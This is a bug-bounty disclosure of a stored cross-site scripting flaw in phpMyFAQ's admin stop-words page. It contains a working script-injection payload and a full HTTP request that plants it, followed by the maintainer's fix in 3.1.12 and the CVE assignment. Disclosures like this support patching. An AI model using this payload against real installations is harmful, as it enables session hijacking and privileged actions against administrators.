XSS @ Stop Words in thorsten/phpmyfaq


Reported on

Mar 8th 2023


The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Proof of Concept

Code 1:

$ajaxAction = Filter::filterInput(INPUT_GET, 'ajaxaction', FILTER_UNSAFE_RAW);
$instanceId = Filter::filterInput(INPUT_GET, 'instanceId', FILTER_VALIDATE_INT);
$stopwordId = Filter::filterInput(INPUT_GET, 'stopword_id', FILTER_VALIDATE_INT);
$stopword = Filter::filterInput(INPUT_GET, 'stopword', FILTER_UNSAFE_RAW);
$stopwordsLang = Filter::filterInput(INPUT_GET, 'stopwords_lang', FILTER_UNSAFE_RAW);
$csrfToken = Filter::filterInput(INPUT_GET, 'csrf', FILTER_UNSAFE_RAW);

After sending the request, whatever we write as stopword gets' into value:

<input class="form-control form-control-sm" id="stopword_3300_az" value="a" onblur="saveStopWord(this.id)" onkeydown="saveStopWordHandleEnter(this.id, event)" onfocus="saveOldValue(this.id)" old_value="a">

Bypass - add "> at the beginning and <input class=" at the end like this:

"><script>alert(4)</script><input class="


<td><input class="form-control form-control-sm" id="stopword_3303_az" value=""><script>alert(4)</script><input class="" onblur="saveStopWord(this.id)" onkeydown="saveStopWordHandleEnter(this.id, event)" onfocus="saveOldValue(this.id)"></td>


GET /admin/index.php?action=ajax&ajax=config&ajaxaction=save_stop_word&stopword=%22%3E%3Cscript%3Ealert(%22Agabala%22)%3C%2Fscript%3E&stopwords_lang=az&csrf=EDITthis HTTP/2
Host: roy.demo.phpmyfaq.de
Cookie: PHPSESSID=EDITthis; cookieconsent_status=dismiss
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://roy.demo.phpmyfaq.de/admin/?action=stopwordsconfig
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers




The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

We are processing your report and will contact the thorsten/phpmyfaq team within 24 hours. 6 months ago
thorsten/phpmyfaq maintainer has acknowledged this report 6 months ago
Thorsten Rinne validated this vulnerability 6 months ago
hatlesswizard has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
6 months ago


Could you assign a CVE please? @thorsten

Thorsten Rinne marked this as fixed in 3.1.12 with commit 7f0f92 6 months ago
Thorsten Rinne has been awarded the fix bounty
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Mar 31st 2023
Thorsten Rinne published this vulnerability 6 months ago
to join this conversation